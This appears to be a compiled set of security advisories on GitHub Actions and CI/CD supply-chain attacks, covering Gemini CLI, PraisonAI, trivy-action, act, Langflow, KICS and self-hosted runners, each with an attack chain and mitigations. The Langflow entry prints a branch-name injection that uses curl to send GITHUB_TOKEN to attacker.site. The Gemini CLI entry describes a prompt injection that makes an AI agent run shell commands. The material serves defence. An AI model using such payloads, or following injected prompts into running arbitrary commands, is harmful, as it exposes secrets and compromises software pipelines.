Attack Chain

1. Attacker submits a malicious pull request to a repository using Gemini CLI in a GitHub Actions workflow.
2. The workflow, running in headless mode, automatically trusts the workspace folder (versions prior to 0.39.1).
3. The attacker’s pull request includes a crafted .gemini/ directory containing malicious environment variables.
4. Gemini CLI loads the malicious environment variables, leading to code execution.
5. Alternatively, the attacker injects a malicious prompt leveraging run_shell_command when --yolo is used.
6. The run_shell_command executes arbitrary commands on the runner due to the bypassed tool allowlist (versions prior to 0.39.1).
7. The attacker gains control of the CI/CD runner, potentially exfiltrating secrets or injecting malicious code into the deployment pipeline.
8. Successful exploitation leads to code execution on the CI/CD runner, data exfiltration, or supply chain compromise.

Impact

The vulnerability impacts workflows utilizing Gemini CLI in headless mode, particularly those processing untrusted inputs such as pull requests from external contributors. Successful exploitation can lead to remote code execution on the CI/CD runner, potentially enabling attackers to exfiltrate sensitive information, such as API keys and credentials, or inject malicious code into the application deployment pipeline. This can lead to a supply chain compromise. All Gemini CLI GitHub Actions are affected, requiring users to review and update their workflows.

Recommendation

• Upgrade @google/gemini-cli to version 0.39.1 or later, or 0.40.0-preview.3 if using a preview version.
• Upgrade actions/google-github-actions/run-gemini-cli to version 0.1.22 or later.
• For workflows running on trusted inputs, set GEMINI_TRUST_WORKSPACE: 'true' in the GitHub Actions workflow.
• For workflows processing untrusted inputs, review the hardening guidance in google-github-actions/run-gemini-cli and set the environment variable accordingly.
• Review and harden tool allowlists in ~/.gemini/settings.json to restrict the commands that can be executed, especially when using the --yolo flag.

Attack Chain

1. Attacker gains read access to the public PraisonAI GitHub repository.
2. Attacker identifies a GitHub Actions workflow that uploads artifacts.
3. The workflow uses actions/checkout without persist-credentials: false, causing the GITHUB_TOKEN to be written to .git/config.
4. The workflow uploads an artifact (e.g., build output, logs, test results) that includes the .git/config file.
5. Attacker downloads the artifact.
6. Attacker extracts the GITHUB_TOKEN from the .git/config file within the artifact.
7. Attacker uses the leaked GITHUB_TOKEN to authenticate to the PraisonAI repository.
8. Attacker leverages the compromised GITHUB_TOKEN to inject malicious code, poison releases/packages, steal secrets, or perform other malicious activities, leading to a supply chain compromise.

Impact

Successful exploitation of CVE-2026-40313 in PraisonAI versions 4.5.139 and below can result in a severe supply chain compromise. Attackers can inject malicious code into the PraisonAI repository, poison releases and associated packages (PyPI, Docker), and steal sensitive repository secrets. This can lead to widespread distribution of malware to downstream users of PraisonAI, compromising their systems and data. The vulnerability affects any user relying on PraisonAI and its distributed components.

Recommendation

• Upgrade PraisonAI to version 4.5.140 or later to patch CVE-2026-40313.
• Audit all GitHub Actions workflows in your organization to ensure that actions/checkout is used with persist-credentials: false to prevent credential leakage.
• Monitor public repositories for inadvertently exposed configuration files containing credentials, and rotate potentially compromised tokens immediately.
• Implement the Sigma rule “Detect GitHub Workflow Artifact Containing Git Config” to identify leaked git configurations.

Attack Chain

1. A developer pushes code, opens a pull request, or merges a branch in a repository using the compromised trivy-action.
2. The GitHub Actions runner executes the workflow, downloading the specified version of the trivy-action. Due to tag repointing, a malicious version of the action is downloaded instead of the legitimate one.
3. The malicious entrypoint.sh script is executed, which prepends approximately 105 lines of attack code before the original Trivy scanner logic.
4. The malicious script enumerates process IDs (PIDs) on the runner to identify potential targets.
5. The script executes a multi-stage credential theft operation, stealing secrets and credentials available within the runner environment.
6. The legitimate Trivy scanner is executed after the malicious code, masking the compromise as the workflow appears to complete successfully.
7. Stolen credentials are exfiltrated to a destination controlled by the attacker.
8. The attacker uses the stolen credentials to gain unauthorized access to internal infrastructure, cloud resources, or other sensitive systems.

Impact

This supply chain compromise affected users of the aquasecurity/trivy-action GitHub Action. The retroactive poisoning of 76 release tags meant that any CI/CD pipeline using those versions of the action was potentially compromised. The impact included the potential theft of sensitive credentials, secrets, and API keys stored within the GitHub Actions runner environment. Successful credential theft could lead to unauthorized access to critical infrastructure, data breaches, and further downstream attacks. The number of affected organizations is unknown, but given the popularity of trivy-action, the scope could be significant.

Recommendation

• Review your GitHub Actions workflows for usage of aquasecurity/trivy-action and verify the integrity of the action’s code. Consider pinning to specific commit SHAs instead of tags to avoid tag repointing attacks.
• Deploy the Sigma rule Detect Suspicious Script Execution in GitHub Actions Runner to identify potentially malicious script execution within GitHub Actions runner environments.
• Monitor process execution on GitHub Actions runners for unusual or unexpected activity, particularly scripts running from temporary directories, to detect deviations from expected CI/CD behavior.
• Implement strict access controls and credential management policies for GitHub Actions secrets and credentials to minimize the impact of potential credential theft.

Attack Chain

1. The attacker gains unauthorized write access to the aquasecurity/trivy-action GitHub repository.
2. The attacker retroactively modifies existing Git tags (e.g., 0.24.0) to point to a malicious commit.
3. The malicious commit injects approximately 105 lines of malicious code into the entrypoint.sh script, prepended before the legitimate Trivy scanner logic.
4. A GitHub Actions workflow includes a step using the compromised aquasecurity/trivy-action by referencing a poisoned tag (e.g., - uses: aquasecurity/trivy-action@0.24.0).
5. When the workflow runs on a GitHub Actions runner, the runner downloads the compromised action and executes the malicious entrypoint.sh script.
6. The malicious code in entrypoint.sh enumerates running processes to identify potential credential sources and exfiltrates sensitive data.
7. The legitimate Trivy scanner executes, masking the malicious activity.
8. The attacker gains access to stolen credentials, secrets, and API keys, potentially allowing them to compromise cloud infrastructure, internal systems, and source code repositories.

Impact

This supply chain attack directly impacted organizations using the compromised aquasecurity/trivy-action GitHub Action in their CI/CD pipelines. The number of affected organizations is currently unknown, but given the action’s popularity, it is likely significant. Successful exploitation allows attackers to steal sensitive credentials, including API keys, cloud credentials, and deploy tokens. This can lead to unauthorized access to internal infrastructure, data exfiltration, and further compromise of the software supply chain. The incident highlights the critical importance of verifying the integrity of third-party dependencies and implementing robust security measures in CI/CD environments.

Recommendation

• Immediately audit your GitHub Actions workflows for usage of the aquasecurity/trivy-action and update to a safe version (as provided by Aqua Security) or remove the action entirely.
• Implement integrity checks for third-party GitHub Actions by verifying the commit SHA instead of relying solely on tags to mitigate tag re-pointing attacks.
• Monitor process execution on GitHub Actions runners for suspicious scripts, especially those running from within action directories, using process creation logs. An example detection rule is provided below.
• Enable network connection logging on GitHub Actions runners to identify potential data exfiltration attempts originating from action scripts.
• Review GitHub Actions logs for any anomalies or unexpected behavior that may indicate a compromise.

Attack Chain

1. Attacker gains write access to the aquasecurity/trivy-action repository on GitHub.
2. The attacker modifies the action’s entrypoint.sh script to include malicious code for credential theft. Specifically, the attacker prepends approximately 105 lines of malicious code.
3. The attacker uses git tag repointing to retroactively poison existing release tags (e.g., @0.24.0) to point to the malicious commit.
4. Developers’ CI/CD pipelines reference the compromised trivy-action using a poisoned tag (e.g., aquasecurity/trivy-action@0.24.0).
5. When a workflow runs, the GitHub Actions runner downloads and executes the malicious entrypoint.sh script, granting it access to the runner’s environment, secrets, and network.
6. The malicious script enumerates running processes to identify potential targets for credential theft.
7. The malicious code exfiltrates credentials and secrets.
8. The original trivy scanner is executed, masking the malicious activity and allowing the workflow to complete normally.

Impact

The compromise of the trivy-action GitHub Action allowed attackers to steal credentials and secrets from CI/CD pipelines that used the compromised action. Because the malicious code ran with the full privileges of the runner, it had access to sensitive information such as API keys, deployment tokens, and cloud credentials. The number of affected organizations is unknown, but given the widespread adoption of trivy-action, the potential impact is significant. Successful exploitation can lead to unauthorized access to cloud resources, code repositories, and other sensitive systems.

Recommendation

• Inspect your CI/CD pipeline configurations for usage of the aquasecurity/trivy-action and audit the integrity of the referenced tags against the known good commits, if available from Aqua Security’s advisories.
• Implement tooling and processes to verify the integrity of third-party GitHub Actions used in CI/CD pipelines.
• Monitor process execution on GitHub Actions runners for suspicious activity, such as enumeration of processes or unexpected network connections (see Sigma rule below).
• Enable and review process creation logs on CI/CD runner environments to identify anomalous script execution (see Sigma rule below).

Attack Chain

1. The attacker identifies a vulnerable act instance running a version prior to 0.2.86 with its cache server exposed on all interfaces.
2. The attacker probes the exposed act cache server to determine accessible endpoints and version information.
3. The attacker analyzes common GitHub Actions workflows and identifies predictable cache keys.
4. The attacker crafts a malicious cache archive containing payloads designed for remote code execution.
5. The attacker uploads the malicious cache archive to the vulnerable act instance using the predicted cache key.
6. A legitimate user triggers a local GitHub Actions workflow using act.
7. The act instance retrieves the attacker’s malicious cache archive instead of the expected legitimate cache.
8. The malicious payload within the cache is executed within the Docker container, leading to remote code execution on the host system running act.

Impact

Successful exploitation of this vulnerability allows an attacker to achieve arbitrary remote code execution on the host system running the vulnerable version of act. This can lead to complete system compromise, data theft, and further lateral movement within the network. The vulnerability affects any user running a version of act prior to 0.2.86 with the cache server exposed. While the number of directly affected users is unknown, the potential impact on development environments and CI/CD pipelines is significant.

Recommendation

• Upgrade to version 0.2.86 or later of the act project to remediate the vulnerability (CVE-2026-34042).
• Implement network access controls to restrict access to the act cache server to only trusted networks and hosts.
• Monitor network connections to the act cache server for unexpected or unauthorized access.
• Enable process monitoring on systems running act to detect potentially malicious processes spawned from Docker containers.

Attack Chain

1. An attacker gains write access to the aquasecurity/trivy-action repository.
2. The attacker uses git tag repointing to modify existing release tags (e.g., 0.24.0), replacing the legitimate entrypoint.sh script with a malicious version.
3. A developer’s CI/CD pipeline includes a step that uses the compromised trivy-action by referencing a poisoned tag (e.g., uses: aquasecurity/trivy-action@0.24.0).
4. When the workflow runs on a GitHub Actions runner, the runner downloads the compromised action and executes the malicious entrypoint.sh script.
5. The malicious script enumerates running processes to identify potential credential sources.
6. The script steals credentials and secrets from the runner’s environment, including API keys, deployment tokens, and cloud credentials.
7. After stealing credentials, the malicious script executes the legitimate Trivy scanner to avoid raising suspicion.
8. The stolen credentials are used to gain unauthorized access to internal infrastructure and resources.

Impact

The compromise of the trivy-action GitHub Action could impact a significant number of organizations relying on this popular scanner in their CI/CD pipelines. With 76 of 77 release tags poisoned, the potential scope of the attack is broad. Successful exploitation leads to the theft of sensitive credentials, enabling attackers to access internal infrastructure, deploy malicious code, or exfiltrate sensitive data. The silent nature of the attack, with the legitimate scanner still running, makes detection challenging and increases the dwell time of the attacker.

Recommendation

• Enable process monitoring on GitHub Actions runners to detect suspicious script execution and unusual process trees (reference: Attack Chain).
• Implement integrity checks for third-party actions used in CI/CD pipelines to verify their authenticity and prevent tampering (reference: Overview).
• Consider using immutable references (e.g., commit SHAs instead of tags) for GitHub Actions to prevent tag repointing attacks (reference: Overview).
• Deploy the Sigma rule below to detect suspicious bash scripts executing in the context of GitHub Action runners (reference: rules).

Attack Chain

1. A developer triggers a GitHub Actions workflow that utilizes the aquasecurity/trivy-action.
2. The GitHub Actions runner downloads the specified version of the trivy-action from GitHub.
3. Due to tag repointing, the downloaded action contains malicious code in the entrypoint.sh script.
4. The malicious entrypoint.sh script executes a multi-stage credential theft operation.
5. The script enumerates process IDs (PIDs) to discover runner processes.
6. After credential theft, the legitimate Trivy scanner logic is executed to maintain the appearance of normal operation.
7. Stolen credentials and secrets are likely exfiltrated to a attacker controlled server.
8. The attacker uses the stolen credentials to gain unauthorized access to internal infrastructure, cloud resources, or other sensitive systems.

Impact

The compromise of the trivy-action GitHub Action could have resulted in widespread credential theft across numerous organizations using the affected versions. With 76 of 77 release tags poisoned, a vast majority of users were exposed. Successful credential theft can lead to unauthorized access to sensitive systems, data breaches, and potential supply chain attacks affecting downstream customers. The incident highlights the critical importance of supply chain security and the need for robust monitoring and detection mechanisms in CI/CD pipelines.

Recommendation

• Inspect your CI/CD pipelines for usage of the aquasecurity/trivy-action GitHub Action and verify the integrity of the action being used.
• Implement the Sigma rule Detect Suspicious Script Execution in GitHub Actions Runner to identify potentially malicious script execution within GitHub Actions runners.
• Monitor process execution within GitHub Actions runners for unusual or unexpected activity that deviates from normal CI/CD operations (reference: Attack Chain step 5).
• Enable detailed logging on GitHub Actions runners to capture process execution, network connections, and file system activity for forensic analysis and threat hunting.
• Implement strong access controls and least privilege principles for GitHub Actions secrets and credentials to limit the impact of potential credential theft.

Attack Chain

1. The attacker forks the Langflow repository on GitHub.
2. The attacker creates a new branch with a specially crafted name containing a shell injection payload, such as injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN.
3. The attacker submits a pull request from the malicious branch to the main branch of the forked repository.
4. GitHub Actions is triggered to run the affected workflow (e.g., deploy-docs-draft.yml).
5. Within the workflow, the run: step attempts to use the unsanitized branch name via ${{ github.head_ref }}.
6. The injected shell command executes, sending the GITHUB_TOKEN to an attacker-controlled server.
7. The attacker receives the GITHUB_TOKEN and can now authenticate to the GitHub API with the privileges of the affected workflow.
8. The attacker leverages the compromised GITHUB_TOKEN to push malicious code, create new releases, or tamper with other aspects of the software supply chain.

Impact

This vulnerability allows for arbitrary code execution within the GitHub Actions CI/CD environment. A successful attack grants full access to CI secrets, potentially leading to the exfiltration of the GITHUB_TOKEN. The attacker can then push malicious tags or container images, tamper with releases, or leak sensitive infrastructure data. Given the nature of CI/CD pipelines, a compromise could have far-reaching effects on any project that depends on the affected Langflow repository or its forks. The number of potential victims is directly proportional to the number of Langflow forks with enabled GitHub Actions.

Recommendation

• Upgrade to Langflow version 1.9.0 or later to patch CVE-2026-33475.
• Examine GitHub Actions workflows for direct interpolation of GitHub context variables in run: steps, particularly those involving user-controlled values like branch names and pull request titles (e.g., in .github/workflows/deploy-docs-draft.yml).
• Implement proper sanitization or quoting of untrusted inputs before using them in shell commands within GitHub Actions workflows.
• Adopt the suggested fix of using environment variables and wrapping them in double quotes when referencing GitHub context variables within run: steps (as described in the overview).
• Deploy the Sigma rule Detect Github Actions Shell Injection via Branch Name to identify potentially malicious branch names used in pull requests.

Attack Chain

Due to the limited information, the attack chain below is based on a typical supply chain compromise scenario:

1. TeamPCP gains unauthorized access to the KICS GitHub Action repository or its build process.
2. The attacker injects malicious code into the KICS GitHub Action. This code could be designed to exfiltrate sensitive information, modify infrastructure configurations, or establish a backdoor.
3. A new version of the KICS GitHub Action, containing the malicious code, is released and made available on the GitHub Marketplace.
4. Organizations using the KICS GitHub Action automatically update to the compromised version through their CI/CD pipelines.
5. The malicious code executes within the CI/CD environments of victim organizations, potentially gaining access to environment variables, secrets, and other sensitive data.
6. The malicious code exfiltrates collected data to attacker-controlled infrastructure.
7. The attacker uses the exfiltrated data to further compromise the victim’s infrastructure or gain unauthorized access to their systems.

Impact

The compromise of the KICS GitHub Action represents a significant supply chain risk. Organizations utilizing the compromised action in their CI/CD pipelines could have experienced exfiltration of sensitive data, including API keys, credentials, and infrastructure configurations. Successful exploitation could lead to unauthorized access to cloud resources, data breaches, and disruption of services. While the exact number of affected organizations remains unclear, the widespread use of KICS suggests a potentially large impact.

Recommendation

• Investigate CI/CD pipeline logs for usage of the compromised KICS GitHub Action version (refer to Overview).
• Audit GitHub Action dependencies in CI/CD pipelines to identify and remove any unauthorized or suspicious actions (refer to Overview).
• Monitor network traffic originating from CI/CD environments for connections to unusual or malicious destinations (based on potential exfiltration in Attack Chain).
• Implement stricter access controls and monitoring for GitHub Action repositories and build processes to prevent future supply chain attacks (refer to Overview).
• Deploy the Sigma rule detecting suspicious script execution within GitHub Action workflows to identify potential malicious activity (see rule below).

Attack Chain

1. The attacker compromises the GitHub repository or account with permissions to manage tags for the Trivy Security Scanner GitHub Actions.
2. The attacker creates or modifies existing tags (75 in this case) to point to malicious code repositories.
3. Users unknowingly include the compromised tags in their GitHub Actions workflows, triggering the malicious code during CI/CD pipeline execution.
4. The malicious code executes within the user’s CI/CD environment, gaining access to environment variables and secrets.
5. The attacker’s code exfiltrates the stolen CI/CD secrets to an external server controlled by the attacker.
6. The attacker uses the stolen secrets to gain unauthorized access to victim’s systems, cloud resources, or code repositories.
7. The attacker may further compromise the victim’s infrastructure, inject malicious code into software builds, or steal sensitive data.

Impact

This attack has the potential to impact a wide range of organizations that rely on the Trivy Security Scanner GitHub Actions in their CI/CD pipelines. The successful theft of CI/CD secrets can lead to significant data breaches, supply chain compromise, and unauthorized access to critical infrastructure. The scope of impact depends on the number of users affected by the compromised tags and the sensitivity of the secrets stored within their CI/CD environments. The incident could result in financial losses, reputational damage, and legal liabilities for affected organizations.

Recommendation

• Review GitHub Actions workflows for use of the compromised Trivy Security Scanner tags (reference: Overview).
• Implement stricter access controls and multi-factor authentication for GitHub accounts with permissions to manage tags (reference: Attack Chain).
• Deploy the Sigma rule to detect suspicious script execution within GitHub Actions workflows (reference: rules).
• Monitor network traffic for unusual outbound connections originating from CI/CD environments, indicative of secret exfiltration (reference: rules).
• Implement secrets scanning tools to detect exposed credentials and API keys within code repositories and CI/CD environments (reference: Attack Chain).

Attack Chain

1. An attacker gains unauthorized access to a GitHub repository linked to a self-hosted runner.
2. The attacker modifies an existing workflow or creates a new one to inject malicious commands.
3. The compromised workflow is triggered, initiating the Runner.Worker process on the runner host.
4. The Runner.Worker process executes a shell interpreter (e.g., bash, sh, zsh) via an entrypoint script.
5. The shell interpreter executes malicious commands specified in the compromised workflow, such as downloading a payload using curl or wget.
6. The downloaded payload is executed, establishing a reverse shell connection to an attacker-controlled server using nc or socat.
7. The attacker performs reconnaissance, credential harvesting, or lateral movement within the runner host and connected network.
8. Sensitive data is exfiltrated from the compromised runner host to the attacker’s infrastructure.

Impact

A successful attack can lead to the complete compromise of the self-hosted runner environment. This could result in the theft of sensitive source code, credentials, and other proprietary information. The attack can also be used as a stepping stone for further attacks on the organization’s internal network and infrastructure. Affected sectors include software development, DevOps, and any organization using GitHub Actions with self-hosted runners.

Recommendation

• Deploy the Sigma rule Execution via GitHub Actions Runner to your SIEM to detect suspicious commands executed by the GitHub Actions Runner.
• Monitor process creation events for commands like curl, wget, nc, socat, powershell.exe, cmd.exe, bash, and ssh spawned by Runner.Worker or shell interpreters with entrypoint.sh in their command line (see Sigma rule).
• Implement strict access control policies for GitHub repositories and workflows to prevent unauthorized modifications.
• Regularly review and audit GitHub Actions workflows for suspicious or unexpected commands.
• Isolate self-hosted runners in a segmented network to limit the impact of a potential compromise.
• Enable Sysmon process-creation logging to provide detailed process execution information for effective detection.